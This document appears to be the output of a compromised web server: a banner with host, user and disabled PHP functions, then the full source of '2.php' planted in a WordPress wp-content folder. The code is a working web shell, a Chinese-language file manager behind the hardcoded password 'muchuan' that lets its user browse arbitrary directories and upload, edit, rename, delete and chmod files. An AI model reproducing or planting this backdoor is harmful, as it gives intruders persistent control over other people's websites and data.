HEX
Server: Apache/2
System: Linux sv156.hostsevenplus.com 4.18.0-553.126.1.el8_10.x86_64 #1 SMP Thu May 28 06:44:09 EDT 2026 x86_64
User: npaaenew (1145)
PHP: 8.5.0
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/npaaenew/domains/npaae.com/private_html/wp-content/2.php
<?php
session_start();

define('ADMIN_PASSWORD', 'muchuan');

if (isset($_POST['login_password'])) {
    if ($_POST['login_password'] === ADMIN_PASSWORD) {
        $_SESSION['fm_auth'] = true;
        header('Location: ' . strtok($_SERVER['REQUEST_URI'], '?'));
        exit;
    } else {
        $loginError = '密码错误,请重试';
    }
}

if (isset($_GET['logout'])) {
    session_destroy();
    header('Location: ' . strtok($_SERVER['REQUEST_URI'], '?'));
    exit;
}

$authenticated = isset($_SESSION['fm_auth']) && $_SESSION['fm_auth'] === true;
?>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>文件管理器</title>
    <style>
        *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }
        :root {
            --primary: #4f46e5;
            --primary-dark: #3730a3;
            --primary-light: #e0e7ff;
            --success: #059669;
            --success-bg: #d1fae5;
            --error: #dc2626;
            --error-bg: #fee2e2;
            --warning: #d97706;
            --bg: #f1f5f9;
            --surface: #ffffff;
            --border: #e2e8f0;
            --text: #1e293b;
            --text-muted: #64748b;
            --dir-bg: #eff6ff;
            --dir-border: #93c5fd;
            --file-bg: #f8fafc;
            --file-border: #cbd5e1;
            --red-item: #fef2f2;
            --red-border: #fca5a5;
            --green-item: #f0fdf4;
            --green-border: #86efac;
        }
        body { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Microsoft YaHei", sans-serif; background: var(--bg); color: var(--text); min-height: 100vh; }

        /* ── Login Page ── */
        .login-wrapper { display: flex; align-items: center; justify-content: center; min-height: 100vh; }
        .login-card { background: var(--surface); border-radius: 16px; box-shadow: 0 20px 60px rgba(0,0,0,0.12); padding: 48px 40px; width: 100%; max-width: 400px; }
        .login-icon { font-size: 48px; text-align: center; margin-bottom: 16px; }
        .login-card h2 { text-align: center; font-size: 22px; color: var(--text); margin-bottom: 8px; }
        .login-card p { text-align: center; color: var(--text-muted); font-size: 14px; margin-bottom: 28px; }
        .login-error { background: var(--error-bg); color: var(--error); padding: 10px 14px; border-radius: 8px; font-size: 14px; margin-bottom: 16px; }
        .login-field { position: relative; margin-bottom: 16px; }
        .login-field input { width: 100%; padding: 12px 16px; border: 1.5px solid var(--border); border-radius: 10px; font-size: 15px; outline: none; transition: border-color .2s; }
        .login-field input:focus { border-color: var(--primary); }
        .login-btn { width: 100%; padding: 13px; background: var(--primary); color: #fff; border: none; border-radius: 10px; font-size: 15px; font-weight: 600; cursor: pointer; transition: background .2s; }
        .login-btn:hover { background: var(--primary-dark); }

        /* ── Layout ── */
        .header { background: var(--primary); color: #fff; padding: 0 24px; height: 56px; display: flex; align-items: center; justify-content: space-between; box-shadow: 0 2px 8px rgba(79,70,229,.3); position: sticky; top: 0; z-index: 100; }
        .header-title { font-size: 17px; font-weight: 700; display: flex; align-items: center; gap: 8px; }
        .header-actions { display: flex; gap: 10px; align-items: center; }
        .logout-btn { background: rgba(255,255,255,.2); color: #fff; border: none; padding: 6px 14px; border-radius: 8px; font-size: 13px; cursor: pointer; text-decoration: none; transition: background .2s; }
        .logout-btn:hover { background: rgba(255,255,255,.35); }

        .main { max-width: 1100px; margin: 24px auto; padding: 0 16px; }

        /* ── Breadcrumb ── */
        .breadcrumb { background: var(--surface); border-radius: 10px; padding: 12px 16px; margin-bottom: 16px; border: 1px solid var(--border); font-size: 13px; display: flex; align-items: center; gap: 6px; flex-wrap: wrap; }
        .breadcrumb a { color: var(--primary); text-decoration: none; }
        .breadcrumb a:hover { text-decoration: underline; }
        .breadcrumb .sep { color: var(--text-muted); }
        .breadcrumb .current { color: var(--text-muted); }

        /* ── Messages ── */
        .msg { padding: 12px 16px; border-radius: 8px; margin-bottom: 12px; font-size: 14px; display: flex; align-items: center; gap: 8px; }
        .msg.success { background: var(--success-bg); color: var(--success); }
        .msg.error { background: var(--error-bg); color: var(--error); }

        /* ── Toolbar ── */
        .toolbar { display: flex; gap: 10px; margin-bottom: 16px; flex-wrap: wrap; }
        .tool-form { display: flex; gap: 6px; align-items: center; background: var(--surface); border: 1px solid var(--border); border-radius: 10px; padding: 8px 12px; }
        .tool-form label { font-size: 13px; color: var(--text-muted); white-space: nowrap; }
        .tool-form input[type="text"] { padding: 6px 10px; border: 1px solid var(--border); border-radius: 6px; font-size: 13px; width: 140px; outline: none; }
        .tool-form input[type="text"]:focus { border-color: var(--primary); }
        .tool-form input[type="file"] { font-size: 13px; }
        .btn { display: inline-flex; align-items: center; gap: 4px; padding: 6px 14px; border: none; border-radius: 7px; font-size: 13px; font-weight: 500; cursor: pointer; text-decoration: none; transition: all .15s; white-space: nowrap; }
        .btn-primary { background: var(--primary); color: #fff; }
        .btn-primary:hover { background: var(--primary-dark); }
        .btn-danger { background: var(--error-bg); color: var(--error); }
        .btn-danger:hover { background: #fecaca; }
        .btn-ghost { background: transparent; color: var(--primary); border: 1px solid var(--primary-light); }
        .btn-ghost:hover { background: var(--primary-light); }

        /* ── File List ── */
        .file-list { background: var(--surface); border-radius: 12px; border: 1px solid var(--border); overflow: hidden; }
        .file-list-header { display: grid; grid-template-columns: 1fr 100px 100px auto; gap: 8px; padding: 10px 16px; background: var(--bg); border-bottom: 1px solid var(--border); font-size: 12px; color: var(--text-muted); font-weight: 600; text-transform: uppercase; letter-spacing: .05em; }
        .file-item { display: grid; grid-template-columns: 1fr 100px 100px auto; gap: 8px; padding: 10px 16px; align-items: center; border-bottom: 1px solid var(--border); transition: background .1s; }
        .file-item:last-child { border-bottom: none; }
        .file-item:hover { background: #f8fafc; }
        .file-item.dir { background: var(--dir-bg); border-left: 3px solid var(--dir-border); }
        .file-item.dir:hover { background: #dbeafe; }
        .file-item.writable { border-left: 3px solid var(--green-border); }
        .file-item.readonly { border-left: 3px solid var(--red-border); }
        .file-name { display: flex; align-items: center; gap: 8px; min-width: 0; }
        .file-name a { color: var(--primary); text-decoration: none; font-weight: 500; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }
        .file-name a:hover { text-decoration: underline; }
        .file-name span { overflow: hidden; text-overflow: ellipsis; white-space: nowrap; font-weight: 500; }
        .icon { font-size: 18px; flex-shrink: 0; }
        .file-size { font-size: 13px; color: var(--text-muted); }
        .file-perm { font-size: 13px; font-family: monospace; color: var(--text-muted); }
        .file-actions { display: flex; gap: 4px; justify-content: flex-end; flex-wrap: wrap; }
        .action-btn { display: inline-flex; align-items: center; padding: 3px 8px; border: none; border-radius: 5px; font-size: 12px; cursor: pointer; text-decoration: none; transition: all .15s; }
        .action-edit { background: #ede9fe; color: #5b21b6; }
        .action-edit:hover { background: #ddd6fe; }
        .action-delete { background: var(--error-bg); color: var(--error); }
        .action-delete:hover { background: #fecaca; }
        .action-rename { background: #fef9c3; color: #713f12; }
        .action-rename:hover { background: #fef08a; }
        .action-chmod { background: #e0f2fe; color: #0369a1; }
        .action-chmod:hover { background: #bae6fd; }

        /* ── Chmod modal ── */
        .chmod-modal { display: none; position: fixed; inset: 0; background: rgba(0,0,0,.5); z-index: 200; align-items: center; justify-content: center; }
        .chmod-modal.open { display: flex; }
        .chmod-box { background: var(--surface); border-radius: 14px; padding: 28px; min-width: 320px; box-shadow: 0 20px 60px rgba(0,0,0,.2); }
        .chmod-box h3 { margin-bottom: 16px; font-size: 16px; }
        .chmod-box .perm-grid { display: grid; grid-template-columns: repeat(3, 1fr); gap: 10px; margin-bottom: 16px; }
        .perm-col { background: var(--bg); border-radius: 8px; padding: 10px; }
        .perm-col h4 { font-size: 12px; color: var(--text-muted); margin-bottom: 6px; text-align: center; }
        .perm-check { display: flex; align-items: center; gap: 6px; font-size: 13px; margin: 3px 0; }
        .chmod-octal { text-align: center; font-size: 22px; font-weight: 700; font-family: monospace; color: var(--primary); margin-bottom: 16px; background: var(--primary-light); padding: 8px; border-radius: 8px; }
        .chmod-actions { display: flex; gap: 8px; justify-content: flex-end; }

        /* ── Edit page ── */
        .editor-card { background: var(--surface); border-radius: 12px; border: 1px solid var(--border); overflow: hidden; }
        .editor-header { padding: 14px 20px; border-bottom: 1px solid var(--border); display: flex; align-items: center; justify-content: space-between; }
        .editor-header h3 { font-size: 15px; }
        .editor-textarea { width: 100%; min-height: 500px; padding: 16px; border: none; font-family: "Consolas", "Monaco", monospace; font-size: 13px; resize: vertical; outline: none; line-height: 1.6; }
        .editor-footer { padding: 12px 16px; border-top: 1px solid var(--border); display: flex; gap: 8px; }

        /* ── Rename inline ── */
        .rename-card { background: var(--surface); border-radius: 12px; border: 1px solid var(--border); padding: 20px; margin-bottom: 16px; }

        .empty-dir { text-align: center; padding: 48px; color: var(--text-muted); }
        .empty-dir .empty-icon { font-size: 48px; margin-bottom: 12px; }
    </style>
</head>
<body>
<?php
$messages = [];
function addMessage($text, $type = 'success') { global $messages; $messages[] = ['text' => $text, 'type' => $type]; }
function showMessages() {
    global $messages;
    $icons = ['success' => '✅', 'error' => '❌'];
    foreach ($messages as $m) {
        $icon = $icons[$m['type']] ?? '';
        echo "<div class='msg {$m['type']}'>$icon " . htmlspecialchars($m['text']) . "</div>";
    }
}

if (!$authenticated) {
    echo "<div class='login-wrapper'>";
    echo "<div class='login-card'>";
    echo "<div class='login-icon'>🗂️</div>";
    echo "<h2>文件管理器</h2>";
    echo "<p>请输入管理密码以继续</p>";
    if (!empty($loginError)) echo "<div class='login-error'>⚠️ " . htmlspecialchars($loginError) . "</div>";
    echo "<form method='POST'>";
    echo "<div class='login-field'><input type='password' name='login_password' placeholder='请输入密码' autofocus autocomplete='current-password'></div>";
    echo "<button type='submit' class='login-btn'>登 录</button>";
    echo "</form></div></div></body></html>";
    exit;
}

// ── Authenticated area ──
$currentDir = isset($_GET['dir']) ? realpath($_GET['dir']) : realpath(__DIR__);
if ($currentDir === false || !is_dir($currentDir)) $currentDir = realpath(__DIR__);

function fileIcon($path) {
    if (is_dir($path)) return '📁';
    $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));
    $map = ['php'=>'📄','html'=>'🌐','htm'=>'🌐','css'=>'🎨','js'=>'📜','ts'=>'📜','json'=>'📋','xml'=>'📋','txt'=>'📝','md'=>'📝','jpg'=>'🖼️','jpeg'=>'🖼️','png'=>'🖼️','gif'=>'🖼️','svg'=>'🖼️','mp4'=>'🎬','mp3'=>'🎵','zip'=>'🗜️','tar'=>'🗜️','gz'=>'🗜️','pdf'=>'📕','sh'=>'⚙️','sql'=>'🗃️','log'=>'📋'];
    return $map[$ext] ?? '📄';
}

function getCurrentPermission($path) { return substr(sprintf('%o', fileperms($path)), -4); }

function handleUpload($dir) {
    if (!empty($_FILES['file']['name'])) {
        $target = $dir . DIRECTORY_SEPARATOR . basename($_FILES['file']['name']);
        if (move_uploaded_file($_FILES['file']['tmp_name'], $target)) addMessage('上传成功:' . basename($_FILES['file']['name']));
        else addMessage('上传失败', 'error');
    }
}
function handleCreateFolder($dir) {
    if (!empty($_POST['folderName'])) {
        $new = $dir . DIRECTORY_SEPARATOR . basename($_POST['folderName']);
        if (is_dir($new)) addMessage('文件夹已存在', 'error');
        elseif (mkdir($new, 0755, true)) addMessage('文件夹创建成功');
        else addMessage('文件夹创建失败', 'error');
    }
}
function handleCreateFile($dir) {
    if (!empty($_POST['fileName'])) {
        $new = $dir . DIRECTORY_SEPARATOR . basename($_POST['fileName']);
        if (file_exists($new)) addMessage('文件已存在', 'error');
        elseif (file_put_contents($new, '') !== false) addMessage('文件创建成功');
        else addMessage('文件创建失败', 'error');
    }
}
function handleDelete($path) {
    if (!file_exists($path)) { addMessage('文件不存在', 'error'); return; }
    if (is_dir($path)) {
        if (@rmdir($path)) addMessage('文件夹删除成功');
        else addMessage('文件夹删除失败(请确保文件夹为空)', 'error');
    } else {
        if (unlink($path)) addMessage('文件删除成功');
        else addMessage('文件删除失败', 'error');
    }
}
function handleRename($path) {
    if (!empty($_POST['newName'])) {
        $newPath = dirname($path) . DIRECTORY_SEPARATOR . basename($_POST['newName']);
        if (rename($path, $newPath)) addMessage('重命名成功');
        else addMessage('重命名失败', 'error');
    }
}
function handleChmod($path) {
    if (isset($_POST['permission'])) {
        $perm = trim($_POST['permission']);
        if (preg_match('/^[0-7]{3,4}$/', $perm)) {
            if (@chmod($path, octdec($perm))) addMessage('权限修改成功:' . $perm);
            else addMessage('权限修改失败', 'error');
        } else {
            addMessage('权限格式错误,请输入3-4位八进制数字(如755)', 'error');
        }
    }
}

// Handle actions
$action = $_GET['action'] ?? '';
$fileParam = $_GET['file'] ?? '';
if ($action && $fileParam) {
    $filePath = realpath($currentDir . DIRECTORY_SEPARATOR . $fileParam);
    if ($filePath === false) $filePath = $currentDir . DIRECTORY_SEPARATOR . $fileParam;
    if ($action === 'delete') handleDelete($filePath);
    if ($action === 'chmod') handleChmod($filePath);
}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if ($action === 'edit' && $fileParam) {
        $filePath = realpath($currentDir . DIRECTORY_SEPARATOR . $fileParam) ?: ($currentDir . DIRECTORY_SEPARATOR . $fileParam);
        if (isset($_POST['content']) && file_put_contents($filePath, $_POST['content']) !== false) addMessage('文件保存成功');
        elseif (isset($_POST['content'])) addMessage('文件保存失败', 'error');
    } elseif ($action === 'rename' && $fileParam) {
        $filePath = realpath($currentDir . DIRECTORY_SEPARATOR . $fileParam) ?: ($currentDir . DIRECTORY_SEPARATOR . $fileParam);
        handleRename($filePath);
    } else {
        handleUpload($currentDir);
        handleCreateFolder($currentDir);
        handleCreateFile($currentDir);
    }
}

// Build breadcrumbs
function buildBreadcrumbs($path) {
    $parts = explode(DIRECTORY_SEPARATOR, trim($path, DIRECTORY_SEPARATOR));
    $crumbs = [];
    $built = '';
    foreach ($parts as $part) {
        if ($part === '') continue;
        $built .= DIRECTORY_SEPARATOR . $part;
        $crumbs[] = ['name' => $part, 'path' => $built];
    }
    return $crumbs;
}
?>

<div class="header">
    <div class="header-title">🗂️ 文件管理器</div>
    <div class="header-actions">
        <span style="font-size:13px;opacity:.8;">已登录</span>
        <a href="?logout=1" class="logout-btn">退出登录</a>
    </div>
</div>

<div class="main">
<?php showMessages(); ?>

<!-- Breadcrumb -->
<div class="breadcrumb">
    <span>📍</span>
    <?php
    $crumbs = buildBreadcrumbs($currentDir);
    $total = count($crumbs);
    foreach ($crumbs as $i => $c) {
        if ($i === $total - 1) {
            echo "<span class='current'>" . htmlspecialchars($c['name']) . "</span>";
        } else {
            echo "<a href='?dir=" . urlencode($c['path']) . "'>" . htmlspecialchars($c['name']) . "</a><span class='sep'>/</span>";
        }
    }
    ?>
</div>

<?php
// ── Edit mode ──
if ($action === 'edit' && $fileParam) {
    $filePath = realpath($currentDir . DIRECTORY_SEPARATOR . $fileParam) ?: ($currentDir . DIRECTORY_SEPARATOR . $fileParam);
    if (!file_exists($filePath)) { addMessage('文件不存在', 'error'); }
    else {
        $content = file_get_contents($filePath);
        echo "<div class='editor-card'>";
        echo "<div class='editor-header'><h3>✏️ 编辑:" . htmlspecialchars(basename($filePath)) . "</h3><a href='?dir=" . urlencode($currentDir) . "' class='btn btn-ghost'>← 返回目录</a></div>";
        echo "<form method='POST'>";
        echo "<textarea class='editor-textarea' name='content'>" . htmlspecialchars($content) . "</textarea>";
        echo "<div class='editor-footer'><button type='submit' class='btn btn-primary'>💾 保存文件</button><a href='?dir=" . urlencode($currentDir) . "' class='btn btn-ghost'>取消</a></div>";
        echo "</form></div>";
    }
}
// ── Rename mode ──
elseif ($action === 'rename' && $fileParam) {
    $filePath = realpath($currentDir . DIRECTORY_SEPARATOR . $fileParam) ?: ($currentDir . DIRECTORY_SEPARATOR . $fileParam);
    echo "<div class='rename-card'>";
    echo "<h3 style='margin-bottom:12px;'>✏️ 重命名:" . htmlspecialchars($fileParam) . "</h3>";
    echo "<form method='POST' style='display:flex;gap:8px;align-items:center;'>";
    echo "<input type='text' name='newName' value='" . htmlspecialchars($fileParam) . "' style='padding:8px 12px;border:1.5px solid var(--border);border-radius:8px;font-size:14px;width:280px;outline:none;'>";
    echo "<button type='submit' class='btn btn-primary'>确认重命名</button>";
    echo "<a href='?dir=" . urlencode($currentDir) . "' class='btn btn-ghost'>取消</a>";
    echo "</form></div>";
    // fall through to show dir listing below
    $action = '';
}

// ── Directory listing ──
if ($action !== 'edit') {
    $parentDir = dirname($currentDir);
    $files = array_diff(scandir($currentDir), ['.', '..']);
    $dirs = []; $fileItems = [];
    foreach ($files as $f) {
        $p = $currentDir . DIRECTORY_SEPARATOR . $f;
        if (is_dir($p)) $dirs[] = $f;
        else $fileItems[] = $f;
    }
    sort($dirs); sort($fileItems);
    $allItems = array_merge($dirs, $fileItems);

    if ($parentDir !== $currentDir) {
        echo "<div style='margin-bottom:12px;'><a href='?dir=" . urlencode($parentDir) . "' class='btn btn-ghost'>⬆ 返回上级目录</a></div>";
    }

    echo "<div class='file-list'>";
    echo "<div class='file-list-header'><div>名称</div><div>大小</div><div>权限</div><div>操作</div></div>";

    if (empty($allItems)) {
        echo "<div class='empty-dir'><div class='empty-icon'>📭</div><div>当前目录为空</div></div>";
    }

    foreach ($allItems as $file) {
        $path = $currentDir . DIRECTORY_SEPARATOR . $file;
        $isDir = is_dir($path);
        $perm = getCurrentPermission($path);
        $size = $isDir ? '—' : (filesize($path) > 1048576 ? round(filesize($path)/1048576, 1).' MB' : (filesize($path) > 1024 ? round(filesize($path)/1024, 1).' KB' : filesize($path).' B'));
        $icon = fileIcon($path);
        $writable = is_writable($path);
        $readable = is_readable($path);
        $stateClass = $isDir ? 'dir' : ($writable ? 'writable' : ($readable ? 'readonly' : ''));

        echo "<div class='file-item $stateClass'>";
        echo "<div class='file-name'><span class='icon'>$icon</span>";
        if ($isDir) {
            echo "<a href='?dir=" . urlencode($path) . "'>" . htmlspecialchars($file) . "</a>";
        } else {
            echo "<span>" . htmlspecialchars($file) . "</span>";
        }
        echo "</div>";
        echo "<div class='file-size'>$size</div>";
        echo "<div class='file-perm'>$perm</div>";
        echo "<div class='file-actions'>";

        if ($isDir) {
            echo "<a href='?dir=" . urlencode($currentDir) . "&action=delete&file=" . urlencode($file) . "' class='action-btn action-delete' onclick=\"return confirm('确定删除文件夹 " . htmlspecialchars($file, ENT_QUOTES) . "?(需为空目录)')\">🗑 删除</a> ";
            echo "<button type='button' class='action-btn action-chmod' onclick='openChmod(this)' data-file='" . htmlspecialchars($file, ENT_QUOTES) . "' data-perm='$perm'>🔐 权限</button>";
        } else {
            echo "<a href='?dir=" . urlencode($currentDir) . "&action=edit&file=" . urlencode($file) . "' class='action-btn action-edit'>✏️ 编辑</a> ";
            echo "<a href='?dir=" . urlencode($currentDir) . "&action=rename&file=" . urlencode($file) . "' class='action-btn action-rename'>📝 重命名</a> ";
            echo "<a href='?dir=" . urlencode($currentDir) . "&action=delete&file=" . urlencode($file) . "' class='action-btn action-delete' onclick=\"return confirm('确定删除文件 " . htmlspecialchars($file, ENT_QUOTES) . "?')\">🗑 删除</a> ";
            echo "<button type='button' class='action-btn action-chmod' onclick='openChmod(this)' data-file='" . htmlspecialchars($file, ENT_QUOTES) . "' data-perm='$perm'>🔐 权限</button>";
        }
        echo "</div></div>";
    }
    echo "</div>"; // .file-list

    // ── Toolbar ──
    echo "<div class='toolbar' style='margin-top:16px;'>";
    // Upload
    echo "<form class='tool-form' method='POST' enctype='multipart/form-data'>";
    echo "<label>📤 上传</label><input type='file' name='file'><button type='submit' class='btn btn-primary'>上传</button>";
    echo "</form>";
    // New folder
    echo "<form class='tool-form' method='POST'>";
    echo "<label>📁 新建文件夹</label><input type='text' name='folderName' placeholder='文件夹名称'><button type='submit' class='btn btn-primary'>创建</button>";
    echo "</form>";
    // New file
    echo "<form class='tool-form' method='POST'>";
    echo "<label>📄 新建文件</label><input type='text' name='fileName' placeholder='文件名称'><button type='submit' class='btn btn-primary'>创建</button>";
    echo "</form>";
    echo "</div>";
}
?>

</div><!-- .main -->

<!-- Chmod Modal -->
<div class='chmod-modal' id='chmodModal'>
  <div class='chmod-box'>
    <h3>🔐 修改权限</h3>
    <p id='chmodTarget' style='font-size:13px;color:var(--text-muted);margin-bottom:12px;'></p>
    <div class='perm-grid'>
      <div class='perm-col'>
        <h4>所有者 (Owner)</h4>
        <label class='perm-check'><input type='checkbox' id='or' onchange='calcPerm()'> 读 (r)</label>
        <label class='perm-check'><input type='checkbox' id='ow' onchange='calcPerm()'> 写 (w)</label>
        <label class='perm-check'><input type='checkbox' id='ox' onchange='calcPerm()'> 执行 (x)</label>
      </div>
      <div class='perm-col'>
        <h4>群组 (Group)</h4>
        <label class='perm-check'><input type='checkbox' id='gr' onchange='calcPerm()'> 读 (r)</label>
        <label class='perm-check'><input type='checkbox' id='gw' onchange='calcPerm()'> 写 (w)</label>
        <label class='perm-check'><input type='checkbox' id='gx' onchange='calcPerm()'> 执行 (x)</label>
      </div>
      <div class='perm-col'>
        <h4>其他 (Other)</h4>
        <label class='perm-check'><input type='checkbox' id='wr' onchange='calcPerm()'> 读 (r)</label>
        <label class='perm-check'><input type='checkbox' id='ww' onchange='calcPerm()'> 写 (w)</label>
        <label class='perm-check'><input type='checkbox' id='wx' onchange='calcPerm()'> 执行 (x)</label>
      </div>
    </div>
    <div class='chmod-octal' id='chmodOctal'>0755</div>
    <form id='chmodForm' method='POST'>
      <input type='hidden' name='permission' id='chmodPermInput'>
      <div class='chmod-actions'>
        <button type='button' class='btn btn-ghost' onclick='closeChmod()'>取消</button>
        <button type='submit' class='btn btn-primary'>应用权限</button>
      </div>
    </form>
  </div>
</div>

<script>
function openChmod(btn) {
    var file = btn.getAttribute('data-file');
    var perm = btn.getAttribute('data-perm');
    document.getElementById('chmodTarget').textContent = '文件:' + file;
    // set form action
    var dir = '<?php echo addslashes(urlencode($currentDir)); ?>';
    document.getElementById('chmodForm').action = '?dir=' + dir + '&action=chmod&file=' + encodeURIComponent(file);
    // parse perm (last 3 digits)
    var p = perm.slice(-3);
    var bits = [parseInt(p[0]),parseInt(p[1]),parseInt(p[2])];
    document.getElementById('or').checked = !!(bits[0]&4);
    document.getElementById('ow').checked = !!(bits[0]&2);
    document.getElementById('ox').checked = !!(bits[0]&1);
    document.getElementById('gr').checked = !!(bits[1]&4);
    document.getElementById('gw').checked = !!(bits[1]&2);
    document.getElementById('gx').checked = !!(bits[1]&1);
    document.getElementById('wr').checked = !!(bits[2]&4);
    document.getElementById('ww').checked = !!(bits[2]&2);
    document.getElementById('wx').checked = !!(bits[2]&1);
    calcPerm();
    document.getElementById('chmodModal').classList.add('open');
}
function closeChmod() { document.getElementById('chmodModal').classList.remove('open'); }
function calcPerm() {
    var o = (document.getElementById('or').checked?4:0)+(document.getElementById('ow').checked?2:0)+(document.getElementById('ox').checked?1:0);
    var g = (document.getElementById('gr').checked?4:0)+(document.getElementById('gw').checked?2:0)+(document.getElementById('gx').checked?1:0);
    var w = (document.getElementById('wr').checked?4:0)+(document.getElementById('ww').checked?2:0)+(document.getElementById('wx').checked?1:0);
    var val = '0' + o + g + w;
    document.getElementById('chmodOctal').textContent = val;
    document.getElementById('chmodPermInput').value = '' + o + g + w;
}
document.getElementById('chmodModal').addEventListener('click', function(e){ if(e.target===this) closeChmod(); });
</script>
</body>
</html>